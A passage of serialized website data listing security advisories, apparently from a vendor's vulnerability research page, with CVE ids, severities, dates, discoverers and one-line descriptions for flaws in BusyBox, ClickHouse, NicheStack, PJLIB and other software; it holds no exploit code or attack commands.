Gutman",type:"vulnerability"}},{node:{id:"abaaac1acea28874126eba08c467b2fe",path:"/vulnerabilities/rust-cargo-zip-bomb-dos/",title:"Rust Cargo zip-bomb DoS",description:"CVE-2022-36114 Low severity. Cargo is vulnerable to zip-bomb attacks.",date_published:"2022-09-14",xray_id:"",vul_id:"CVE-2022-36114",severity:"low",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"00ec0d40100400a0efdeec2d4b5482ef",path:"/vulnerabilities/rust-cargo-symlink-arbitrary-file-overwrite/",title:"Rust Cargo symlink arbitrary file overwrite",description:"CVE-2022-36113 Low severity. A path traversal in Cargo leads to arbitrary file overwrite.",date_published:"2022-09-14",xray_id:"",vul_id:"CVE-2022-36113",severity:"low",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"87f9fe931e958a52cea600e489a4f235",path:"/vulnerabilities/axum-core-dos/",title:"axum-core missing request size limit DoS",description:"CVE-2022-3212 High severity. Missing limit checks in axum-core leads to denial of service",date_published:"2022-08-31",xray_id:"",vul_id:"CVE-2022-3212",severity:"high",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"9d4a6e56eddc8880f0ec8f6c5d5de70e",path:"/vulnerabilities/javassist-lce/",title:"Javassist local code execution",description:"Low severity. Integer truncation in Javassist leads to local code execution",date_published:"2022-08-11",xray_id:"",vul_id:"",severity:"low",discovered_by:"Omer Kaspi",type:"vulnerability"}},{node:{id:"8c17672fe2a4527dd9d0b1c40e5606d3",path:"/vulnerabilities/eth-account-redos-xray-248681/",title:"eth-account ReDoS",description:"CVE-2022-1930 Medium severity. Exponential ReDoS in eth-account leads to denial of service",date_published:"2022-08-11",xray_id:"XRAY-248681",vul_id:"CVE-2022-1930",severity:"medium",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"c103610444110cf9302a828f663571fd",path:"/vulnerabilities/uri-template-lite-redos-xray-211351/",title:"uri-template-lite URI.expand ReDoS",description:"CVE-2021-43309 Medium severity. Exponential ReDoS in uri-template-lite leads to denial of service",date_published:"2022-08-03",xray_id:"XRAY-211351",vul_id:"CVE-2021-43309",severity:"medium",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"62af81f0b4d470f4d1fc48ab45d7e603",path:"/vulnerabilities/ua-net-standard-stack-dos-xray-229142/",title:"UA .NET Standard memory exhaustion DoS",description:"CVE-2022-29863 High severity. A memory exhaustion issue in UA .NET Standard can allow a remote attacker to perform denial of service",date_published:"2022-06-16",xray_id:"XRAY-229142",vul_id:"CVE-2022-29863",severity:"high",discovered_by:"Uriya Yavniely",type:"vulnerability"}},{node:{id:"b3884d529b6137ed461ee6b6f9876c2c",path:"/vulnerabilities/ua-net-standard-stack-dos-xray-229139/",title:"UA .NET Standard stack exhaustion DoS",description:"CVE-2022-29866 High severity. A stack exhaustion issue in UA .NET Standard can allow a remote attacker to perform denial of service",date_published:"2022-06-16",xray_id:"XRAY-229139",vul_id:"CVE-2022-29866",severity:"high",discovered_by:"Uriya Yavniely",type:"vulnerability"}},{node:{id:"c4a160572f404eabb8d00d4706454548",path:"/vulnerabilities/envoy-decompressor-dos-xray-227941/",title:"Envoy proxy decompressor memory exhaustion DoS",description:"CVE-2022-29225 High severity. Memory exhaustion in Envoy proxy decompressors leads to denial of service",date_published:"2022-06-09",xray_id:"XRAY-227941",vul_id:"CVE-2022-29225",severity:"high",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"a3707ce08adca68276b82e616012f7a9",path:"/vulnerabilities/apache-httpd-mod-sed-dos-xray-228464/",title:"Apache httpd mod_sed DoS",description:"CVE-2022-30522 Medium severity. Very large input data to Apache's mod_sed filter module leads to denial of service",date_published:"2022-06-09",xray_id:"XRAY-228464",vul_id:"CVE-2022-30522",severity:"medium",discovered_by:"Brian Moussalli",type:"vulnerability"}},{node:{id:"6f347cfacc7c8758ebef29b842aa6e8c",path:"/vulnerabilities/ua-cpp-uavariant-oob-read-xray-75757/",title:"Unified Automation C++ based OPC UA Client Server SDK out of bounds read",description:"Medium severity. The UaVariant::cloneTo() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to of out bounds read issue which can allow a remote authenticated attacker to perform denial of service.",date_published:"2022-06-01",xray_id:"XRAY-75757",vul_id:"",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"81a0d908b3be03ea6c54d99863da9e9f",path:"/vulnerabilities/ua-cpp-uavariant-null-deref-xray-75756/",title:"Unified Automation C++ based OPC UA Client Server SDK out of bounds read",description:"Medium severity. The UaVariant::cloneTo() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to NULL dereference which can allow a remote authenticated attacker to perform denial of service.",date_published:"2022-06-01",xray_id:"XRAY-75756",vul_id:"",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"f0bac8b445ea5017151e268dabaf8902",path:"/vulnerabilities/ua-cpp-uaunistring-infoleak-xray-75755/",title:"Unified Automation C++ based OPC UA Client Server SDK out of bounds read",description:"Medium severity. The UaUniString::UaUniString() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to out of bounds read issue which can allow a remote authenticated attacker to perform information leak of technical data",date_published:"2022-06-01",xray_id:"XRAY-75755",vul_id:"",severity:"medium",discovered_by:"Omer Kaspi",type:"vulnerability"}},{node:{id:"a0add17df41022209cf9a1c7b586247b",path:"/vulnerabilities/ua-cpp-uaunistring-1-byte-oob-xray-75754/",title:"Unified Automation C++ based OPC UA Client Server SDK 1-byte out of bounds read",description:"Medium severity. The UaString::toUtf16() function in Unified Automation C++ based OPC UA Client Server SDK is vulnerable to 1-byte out of bound read issue which can allow a remote unauthenticated attacker to perform Denial of Service",date_published:"2022-06-01",xray_id:"XRAY-75754",vul_id:"",severity:"medium",discovered_by:"Omer Kaspi",type:"vulnerability"}},{node:{id:"66f13817a94425e5b8556d8eb7bf9177",path:"/vulnerabilities/ua-cpp-unlimited-file-handles-dos-xray-75758/",title:"Unified Automation C++ based OPC UA Client Server SDK unlimited file descriptors",description:"Medium severity. The Unified Automation C++ based OPC UA Client Server SDK for Linux is susceptible to denial of service when a remote authenticated attacker opens a large amount of file descriptors",date_published:"2022-06-01",xray_id:"XRAY-75758",vul_id:"",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"8d68f1d753e4f516125bd14a89d5c3d3",path:"/vulnerabilities/ua-cpp-ua-extensionobject-type-confusion-xray-75752/",title:"Unified Automation PubSub stack ua_decode_extensionobject type confusion",description:"CVE-2022-xxxx Medium severity. The ua_decode_extensionobject() function in Unified Automation C based PubSub Stack is vulnerable to type confusion issue which can allow a remote authenticated attacker to achieve denial of service and arbitrary read",date_published:"2022-06-01",xray_id:"XRAY-75752",vul_id:"",severity:"medium",discovered_by:"Omer Kaspi",type:"vulnerability"}},{node:{id:"1dae6b5e41c9aa3fdfaa91f02a99fe66",path:"/vulnerabilities/ua-cpp-replaceargs-oob-write-xray-75751/",title:"Unified Automation PubSub stack authenticated out-of-bounds write",description:"High severity. The replaceArgEscapes() function in Unified Automation C-based PubSub Stack is vulnerable to an out of bounds write issue. An authenticated remote attacker can cause denial of service or in some cases achieve remote code execution",date_published:"2022-06-01",xray_id:"XRAY-75751",vul_id:"",severity:"high",discovered_by:"Omer Kaspi",type:"vulnerability"}},{node:{id:"bbed0e21e650308de7810280b172426f",path:"/vulnerabilities/ua-cpp-ua-int32-null-deref-xray-75753/",title:"Unified Automation PubSub stack NULL dereference DoS",description:"Medium severity. The UaInt32Array::create() function in Unified Automation C based PubSub Stack is vulnerable to NULL dereference which can allow an authenticated remote attacker to cause denial of service",date_published:"2022-06-01",xray_id:"XRAY-75753",vul_id:"",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"d6728a5cd91f245dc72d732b27866654",path:"/vulnerabilities/semver-regex-redos-xray-211349/",title:"semver-regex ReDoS",description:"CVE-2021-43307 Medium severity. Exponential ReDoS in semver-regex leads to denial of service",date_published:"2022-05-30",xray_id:"XRAY-211349",vul_id:"CVE-2021-43307",severity:"medium",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"c2d96ac6b545a6381ad9357fabb52ac1",path:"/vulnerabilities/markdown-link-extractor-redos-xray-211350/",title:"markdown-link-extractor ReDoS",description:"CVE-2021-43308 Medium severity. Exponential ReDoS in markdown-link-extractor leads to denial of service",date_published:"2022-05-30",xray_id:"XRAY-211350",vul_id:"CVE-2021-43308",severity:"medium",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"96fcf798757908fa6cd7f5ee902adefa",path:"/vulnerabilities/jquery-validation-redos-xray-211348/",title:"jquery-validation ReDoS",description:"CVE-2021-43306 Medium severity. Exponential ReDoS in jquery-validation leads to denial of service",date_published:"2022-05-30",xray_id:"XRAY-211348",vul_id:"CVE-2021-43306",severity:"medium",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"1a4efe94f446b5f68e35354c4b292835",path:"/vulnerabilities/hawk-redos-xray-209780/",title:"hawk ReDoS",description:"CVE-2022-29167 Medium severity. Exponential ReDoS in hawk leads to denial of service",date_published:"2022-05-30",xray_id:"XRAY-209780",vul_id:"CVE-2022-29167",severity:"medium",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"83938e336cac3205f09d459cfc592632",path:"/vulnerabilities/devcert-redos-xray-211352/",title:"devcert ReDoS",description:"CVE-2022-1929 Medium severity. Exponential ReDoS in devcert leads to denial of service",date_published:"2022-05-30",xray_id:"XRAY-211352",vul_id:"CVE-2022-1929",severity:"medium",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"198228fd0dc69175ba9d2cc3a62e3650",path:"/vulnerabilities/clickhouse-lz4-oob-r-xray-199962/",title:"ClickHouse LZ4 OOB-R",description:"CVE-2021-42388 Medium severity. Heap OOB-R in ClickHouse leads to information leakage and denial of service",date_published:"2022-03-15",xray_id:"XRAY-199962",vul_id:"CVE-2021-42388",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"311a77f8580a528396d78765833bd580",path:"/vulnerabilities/clickhouse-lz4-oob-r-xray-199963/",title:"ClickHouse LZ4 OOB-R",description:"CVE-2021-42387 Medium severity. Heap OOB-R in ClickHouse leads to information leakage and denial of service",date_published:"2022-03-15",xray_id:"XRAY-199963",vul_id:"CVE-2021-42387",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"ef409b1a9aa336a651d5e02843f987c3",path:"/vulnerabilities/clickhouse-lz4-rce-xray-199961/",title:"ClickHouse LZ4 RCE",description:"CVE-2021-43304 High severity. Heap overflow in ClickHouse leads to remote code execution",date_published:"2022-03-15",xray_id:"XRAY-199961",vul_id:"CVE-2021-43304",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"3438b49f21372cf43ec1208de006e2f3",path:"/vulnerabilities/clickhouse-lz4-rce-xray-199960/",title:"ClickHouse LZ4 RCE",description:"CVE-2021-43305 High severity. Heap overflow in ClickHouse leads to remote code execution",date_published:"2022-03-15",xray_id:"XRAY-199960",vul_id:"CVE-2021-43305",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"1777aebf3e4c7e22e90e91c1d59af0bb",path:"/vulnerabilities/clickhouse-gorilla-divide-by-zero-dos-xray-199948/",title:"ClickHouse Divide-by-zero DoS",description:"CVE-2021-42391 Medium severity. Divide-by-zero in ClickHouse leads to denial of service",date_published:"2022-03-15",xray_id:"XRAY-199948",vul_id:"CVE-2021-42391",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"58d4e1711fb034d13249f9ccddef494c",path:"/vulnerabilities/clickhouse-doubledelta-divide-by-zero-dos-xray-199947/",title:"ClickHouse Divide-by-zero DoS",description:"CVE-2021-42390 Medium severity. Divide-by-zero in ClickHouse leads to denial of service",date_published:"2022-03-15",xray_id:"XRAY-199947",vul_id:"CVE-2021-42390",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"6971d02dae02c52388f2aef236d20695",path:"/vulnerabilities/clickhouse-delta-divide-by-zero-dos-xray-199946/",title:"ClickHouse Divide-by-zero DoS",description:"CVE-2021-42389 Medium severity. Divide-by-zero in ClickHouse leads to denial of service",date_published:"2022-03-15",xray_id:"XRAY-199946",vul_id:"CVE-2021-42389",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"914b48e225ab2787d0916d9145b543d3",path:"/vulnerabilities/pjlib-pjsua-recorder-create-rce-xray-198025/",title:"PJLIB pjsua_recorder_create RCE",description:"CVE-2021-43300 High severity. Stack overflow in PJSUA leads to remote code execution",date_published:"2022-03-01",xray_id:"XRAY-198025",vul_id:"CVE-2021-43300",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"0b06c547c286057550718eedc77ba52e",path:"/vulnerabilities/pjlib-pjsua-recorder-create-oob-r-xray-198027/",title:"PJLIB pjsua_recorder_create OOB-R",description:"CVE-2021-43302 Medium severity. Read out-of-bounds in PJSUA leads to denial of service",date_published:"2022-03-01",xray_id:"XRAY-198027",vul_id:"CVE-2021-43302",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"88d5a8cbe3d3edc53ec6539131db1cc0",path:"/vulnerabilities/pjlib-pjsua-playlist-create-rce-xray-198026/",title:"PJLIB pjsua_playlist_create RCE",description:"CVE-2021-43301 High severity. Stack overflow in PJSUA leads to remote code execution",date_published:"2022-03-01",xray_id:"XRAY-198026",vul_id:"CVE-2021-43301",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"d68ab02cc3f9690f5a934dded81e58e7",path:"/vulnerabilities/pjlib-pjsua-player-create-rce-xray-198024/",title:"PJLIB pjsua_player_create RCE",description:"CVE-2021-43299 High severity. Stack overflow in PJSUA leads to remote code execution",date_published:"2022-03-01",xray_id:"XRAY-198024",vul_id:"CVE-2021-43299",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"60f7faaac613567bfb464462396c5d6c",path:"/vulnerabilities/pjlib-pjsua-call-dump-dos-xray-198028/",title:"PJLIB pjsua_call_dump DoS",description:"CVE-2021-43303 Medium severity. Buffer overflow in PJSUA leads to denial of service",date_published:"2022-03-01",xray_id:"XRAY-198028",vul_id:"CVE-2021-43303",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"4c5d7bedf48c1a73da0303acaa4dc93b",path:"/vulnerabilities/cassandra-udf-rce-197962/",title:"Cassandra UDF RCE",description:"CVE-2021-44521 High severity. Insufficient sandboxing of user-defined functions in Apache Cassandra leads to remote code execution",date_published:"2022-02-15",xray_id:"XRAY-197962",vul_id:"CVE-2021-44521",severity:"high",discovered_by:"Omer Kaspi",type:"vulnerability"}},{node:{id:"93258d692111621fda2f9f89211b3300",path:"/vulnerabilities/h2-console-jndi-rce-xray-193805/",title:"H2 console JNDI RCE",description:"CVE-2021-42392 Critical severity. Unsafe JNDI loading in H2 database console leads to remote code execution",date_published:"2022-01-06",xray_id:"XRAY-193805",vul_id:"CVE-2021-42392",severity:"critical",discovered_by:"Andrey Polkovnychenko",type:"vulnerability"}},{node:{id:"8b99725734b11d87e569a22ddfbd6c48",path:"/vulnerabilities/goahead-timing-attack-auth-bypass-xray-194044/",title:"GoAhead timing attack auth bypass",description:"CVE-2021-43298 Medium severity. A timing attack in GoAhead allows an attacker to perform authentication bypass on password-protected web pages",date_published:"2022-01-01",xray_id:"XRAY-194044",vul_id:"CVE-2021-43298",severity:"medium",discovered_by:"Omer Kaspi",type:"vulnerability"}},{node:{id:"49a3b4f24c697c28a8eba7de63429501",path:"/vulnerabilities/tensorflow-python-code-injection-xray-189178/",title:"TensorFlow Python code injection",description:"CVE-2021-41228 High severity. Insufficient input validation in TensorFlow allows an attacker to perform Python code injection when processing a malicious command line argument",date_published:"2021-11-16",xray_id:"XRAY-189178",vul_id:"CVE-2021-41228",severity:"high",discovered_by:"Omer Kaspi",type:"vulnerability"}},{node:{id:"dc8062dd358ecfcc5331d732c2f85968",path:"/vulnerabilities/busybox-hush-null-pointer-dereference-xray-189794/",title:"BusyBox hush NULL Pointer Dereference",description:"CVE-2021-42376 Medium severity. A NULL pointer dereference in Busybox hush leads to denial of service when processing malformed command line arguments",date_published:"2021-11-09",xray_id:"XRAY-189794",vul_id:"CVE-2021-42376",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"4ebaf64b5de933cd18e3c30349bea5f3",path:"/vulnerabilities/busybox-hush-untrusted-free-xray-189474/",title:"BusyBox hush Untrusted Free",description:"CVE-2021-42377 Medium severity. An attacker-controlled pointer free in Busybox hush leads to remote code execution when processing malformed command line arguments",date_published:"2021-11-09",xray_id:"XRAY-189474",vul_id:"CVE-2021-42377",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"36b01f9647a6457cef116c2fd3ce960b",path:"/vulnerabilities/busybox-man-null-pointer-dereference-xray-189471/",title:"BusyBox man NULL Pointer Dereference",description:"CVE-2021-42373 Medium severity. BusyBox man Section Name Handling NULL Pointer Dereference Local DoS",date_published:"2021-11-09",xray_id:"XRAY-189471",vul_id:"CVE-2021-42373",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"292ca08ee0a10a93f47896a18c1b51cd",path:"/vulnerabilities/busybox-lzma-oob-r-xray-189472/",title:"BusyBox LZMA OOB-R",description:"CVE-2021-42374 Medium severity. A OOB heap read in Busybox lzma leads to data leakage and denial of service when decompressing a malformed LZMA-based archive",date_published:"2021-11-09",xray_id:"XRAY-189472",vul_id:"CVE-2021-42374",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"5ccf500ea748e99ccca707d55209e8c5",path:"/vulnerabilities/busybox-awk-nvalloc-uaf-xray-189483/",title:"BusyBox awk nvalloc UaF",description:"CVE-2021-42386 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments",date_published:"2021-11-09",xray_id:"XRAY-189483",vul_id:"CVE-2021-42386",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"bfe36b6e3cd1502fb3b5ad13cf39cd3f",path:"/vulnerabilities/busybox-awk-next-input-file-uaf-xray-189476/",title:"BusyBox awk next_input_file UaF",description:"CVE-2021-42379 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments",date_published:"2021-11-09",xray_id:"XRAY-189476",vul_id:"CVE-2021-42379",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"9ba9dad08bda3a46832a1db19e98a3b9",path:"/vulnerabilities/busybox-awk-hash-init-uaf-xray-189478/",title:"BusyBox awk hash_init UaF",description:"CVE-2021-42381 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments",date_published:"2021-11-09",xray_id:"XRAY-189478",vul_id:"CVE-2021-42381",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"3ed1c7a151ce2a0cb13bcad356d6bc49",path:"/vulnerabilities/busybox-awk-handle-special-uaf-xray-189481/",title:"BusyBox awk handle_special UaF",description:"CVE-2021-42384 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments",date_published:"2021-11-09",xray_id:"XRAY-189481",vul_id:"CVE-2021-42384",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"290091d102f467c2ec38ff3b7c8dfefd",path:"/vulnerabilities/busybox-awk-getvar-s-uaf-xray-189479/",title:"BusyBox awk getvar_s UaF",description:"CVE-2021-42382 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments",date_published:"2021-11-09",xray_id:"XRAY-189479",vul_id:"CVE-2021-42382",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"6ee8cd08b6fd1c56074638dc1e40607a",path:"/vulnerabilities/busybox-awk-evaluate-uaf-xray-189482/",title:"BusyBox awk evaluate UaF",description:"CVE-2021-42385 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments",date_published:"2021-11-09",xray_id:"XRAY-189482",vul_id:"CVE-2021-42385",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"a35946506066319f8146b00b9087e164",path:"/vulnerabilities/busybox-awk-evaluate-uaf-xray-189480/",title:"BusyBox awk evaluate UaF",description:"CVE-2021-42383 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments",date_published:"2021-11-09",xray_id:"XRAY-189480",vul_id:"CVE-2021-42383",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"c4e8b0780f3c706209541fb2fd3ffb23",path:"/vulnerabilities/busybox-awk-clrvar-uaf-xray-189477/",title:"BusyBox awk clrvar UaF",description:"CVE-2021-42380 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments",date_published:"2021-11-09",xray_id:"XRAY-189477",vul_id:"CVE-2021-42380",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"591d34c4a6aa1a4aad20ddd716d49f63",path:"/vulnerabilities/busybox-ash-dos-xray-189473/",title:"BusyBox ash DoS",description:"CVE-2021-42375 Medium severity. An incorrect handling of a special element in Busybox ash leads to denial of service when processing malformed command line arguments",date_published:"2021-11-09",xray_id:"XRAY-189473",vul_id:"CVE-2021-42375",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"3c3827d5c90d1322ef28da180aaf1ab1",path:"/vulnerabilities/civetweb-file-upload-rce-xray-188861/",title:"CivetWeb file upload RCE",description:"CVE-2020-27304 critical severity. A path traversal in CivetWeb leads to remote code execution when an attacker uploads a maliciously-named file",date_published:"2021-10-19",xray_id:"XRAY-188861",vul_id:"CVE-2020-27304",severity:"critical",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"b0c8724ecf4c47b89c1cbc0f8e939643",path:"/vulnerabilities/busybox-awk-getvar-i-uaf-xray-189475/",title:"BusyBox awk getvar_i UaF",description:"CVE-2021-42378 Medium severity. A use-after-free in Busybox awk leads to remote code execution when processing malformed command line arguments",date_published:"2021-10-09",xray_id:"XRAY-189475",vul_id:"CVE-2021-42378",severity:"medium",discovered_by:"JFrog Collab",type:"vulnerability"}},{node:{id:"a7dd0abd8e775b9dc1e9941262657f12",path:"/vulnerabilities/yamale-schema-code-injection-xray-182135/",title:"Yamale schema code injection",description:"CVE-2021-38305 High severity. Insufficient input validation in Yamale allows an attacker to perform Python code injection when processing a malicious schema file",date_published:"2021-10-05",xray_id:"XRAY-182135",vul_id:"CVE-2021-38305",severity:"high",discovered_by:"Andrey Polkovnychenko",type:"vulnerability"}},{node:{id:"d243fa38806146ca8fac6c3c44da5667",path:"/vulnerabilities/netty-snappy-decoder-dos-xray-186810/",title:"netty Snappy decoder DoS",description:"CVE-2021-37137 High severity. Resource exhaustion in netty's Snappy decoder leads to denial of service.",date_published:"2021-09-09",xray_id:"XRAY-186810",vul_id:"CVE-2021-37137",severity:"high",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"50453eadd4ce878e4ccddcc09e3eda0a",path:"/vulnerabilities/netty-bzip2-decoder-dos-xray-186801/",title:"netty Bzip2 decoder DoS",description:"CVE-2021-37136 High severity. Resource exhaustion in netty's Bzip2 decoder leads to denial of service",date_published:"2021-09-09",xray_id:"XRAY-186801",vul_id:"CVE-2021-37136",severity:"high",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"264a0c145f59b861abbaa26f83017155",path:"/vulnerabilities/nichestack-unknown-http-panic-xray-194055/",title:"NicheStack unknown HTTP panic",description:"CVE-2020-27565 High severity. NicheStack unknown HTTP requests cause a panic",date_published:"2021-08-04",xray_id:"XRAY-194055",vul_id:"CVE-2020-27565",severity:"high",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"b749f0fae1b644f0ebc89c5d2fb8e606",path:"/vulnerabilities/nichestack-tftp-filename-oob-r-xray-194059/",title:"NicheStack TFTP filename OOB-R",description:"CVE-2021-36762 High severity. NicheStack TFTP filename read out of bounds",date_published:"2021-08-04",xray_id:"XRAY-194059",vul_id:"CVE-2021-36762",severity:"high",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"a586ea61be563aaf5cc71e6733579916",path:"/vulnerabilities/nichestack-tcp-urg-dos-xray-194050/",title:"NicheStack TCP URG DoS",description:"CVE-2021-31400 High severity. NicheStack TCP out-of-band urgent data processing DoS",date_published:"2021-08-04",xray_id:"XRAY-194050",vul_id:"CVE-2021-31400",severity:"high",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"496c6030051b1001cc093fc1609bb001",path:"/vulnerabilities/nichestack-tcp-isns-are-generated-in-a-predictable-manner-xray-194054/",title:"NicheStack TCP ISNs are generated in a predictable manner",description:"CVE-2020-35685 High severity. NicheStack TCP ISNs are generated in a predictable manner",date_published:"2021-08-04",xray_id:"XRAY-194054",vul_id:"CVE-2020-35685",severity:"high",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"9eaf51302807e9144e58d7b9066430f0",path:"/vulnerabilities/nichestack-ip-length-dos-xray-194051/",title:"NicheStack IP length DoS",description:"CVE-2021-31401 High severity. NicheStack TCP header IP length integer overflow leads to DoS",date_published:"2021-08-04",xray_id:"XRAY-194051",vul_id:"CVE-2021-31401",severity:"high",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"f429d52f641661948bac1d1cb4beff01",path:"/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194053/",title:"NicheStack ICMP payload OOB-R",description:"CVE-2020-35684 High severity. NicheStack ICMP IP payload size read out of bounds",date_published:"2021-08-04",xray_id:"XRAY-194053",vul_id:"CVE-2020-35684",severity:"high",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"60ce5a9df134d82d0e8a4a8a912ae8ee",path:"/vulnerabilities/nichestack-icmp-payload-oob-r-xray-194052/",title:"NicheStack ICMP payload OOB-R",description:"CVE-2020-35683 High severity. NicheStack ICMP IP payload size read out of bounds",date_published:"2021-08-04",xray_id:"XRAY-194052",vul_id:"CVE-2020-35683",severity:"high",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"b836cb78e312afed872ab1208a4bac53",path:"/vulnerabilities/nichestack-http-server-dos-xray-194049/",title:"NicheStack HTTP server DoS",description:"CVE-2021-31227 High severity. A heap buffer overflow exists in NicheStack in the code that parses the HTTP POST request due to an incorrect signed integer comparison",date_published:"2021-08-04",xray_id:"XRAY-194049",vul_id:"CVE-2021-31227",severity:"high",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"7eb4ccca08433cc0672b8a7a71929640",path:"/vulnerabilities/nichestack-dns-client-txid-weak-random-xray-194057/",title:"NicheStack DNS client TXID weak random",description:"CVE-2020-25926 Medium severity. NicheStack DNS client does not set sufficiently random transaction IDs",date_published:"2021-08-04",xray_id:"XRAY-194057",vul_id:"CVE-2020-25926",severity:"medium",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"e6f34a75cbd04ede3dee29a5db3bf7e5",path:"/vulnerabilities/nichestack-dns-client-oob-r-xray-194048/",title:"NicheStack DNS client OOB-R",description:"CVE-2020-25927 High severity. NicheStack routine for parsing DNS responses does not check whether the number of queries/responses specified in the packet header corresponds to the query/response data available in the DNS packet, leading to OOB-R",date_published:"2021-08-04",xray_id:"XRAY-194048",vul_id:"CVE-2020-25927",severity:"high",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"e8e368aede6c599ddfc8ba7ebc1fec55",path:"/vulnerabilities/nichestack-dns-client-oob-r-xray-194047/",title:"NicheStack DNS client OOB-R",description:"CVE-2020-25767 High severity. The NicheStack routine for parsing DNS domain names does not check whether a compression pointer points within the bounds of a packet, which leads to OOB-R",date_published:"2021-08-04",xray_id:"XRAY-194047",vul_id:"CVE-2020-25767",severity:"high",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"fd1483576c18efad4961d46ca7a53197",path:"/vulnerabilities/nichestack-dns-client-does-not-set-sufficiently-random-source-ports-xray-194058/",title:"NicheStack DNS client does not set sufficiently random source ports",description:"CVE-2021-31228 Medium severity. NicheStack DNS client does not set sufficiently random source ports",date_published:"2021-08-04",xray_id:"XRAY-194058",vul_id:"CVE-2021-31228",severity:"medium",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"e74b909517056baca3c32fbe5bb087a8",path:"/vulnerabilities/interniche-http-server-heap-overflow-xray-194046/",title:"InterNiche HTTP server heap overflow",description:"CVE-2021-31226 Critical severity. Heap overflow in InterNiche TCP/IP stack's HTTP server leads to remote code execution when sending a crafted HTTP POST request",date_published:"2021-08-04",xray_id:"XRAY-194046",vul_id:"CVE-2021-31226",severity:"critical",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"418e87ec2ff091957a12078b4439d4ff",path:"/vulnerabilities/interniche-dns-client-heap-overflow-xray-194045/",title:"InterNiche DNS client heap overflow",description:"CVE-2020-25928 Critical severity. Heap overflow in InterNiche TCP/IP stack's DNS client leads to remote code execution when sending a crafted DNS response",date_published:"2021-08-04",xray_id:"XRAY-194045",vul_id:"CVE-2020-25928",severity:"critical",discovered_by:"Denys Vozniuk",type:"vulnerability"}},{node:{id:"77fed6c28efd5cac16c23873fda9d3e2",path:"/vulnerabilities/integer-overflow-in-haproxy-leads-to-http-smuggling-xray-184496/",title:"Integer overflow in HAProxy leads to HTTP 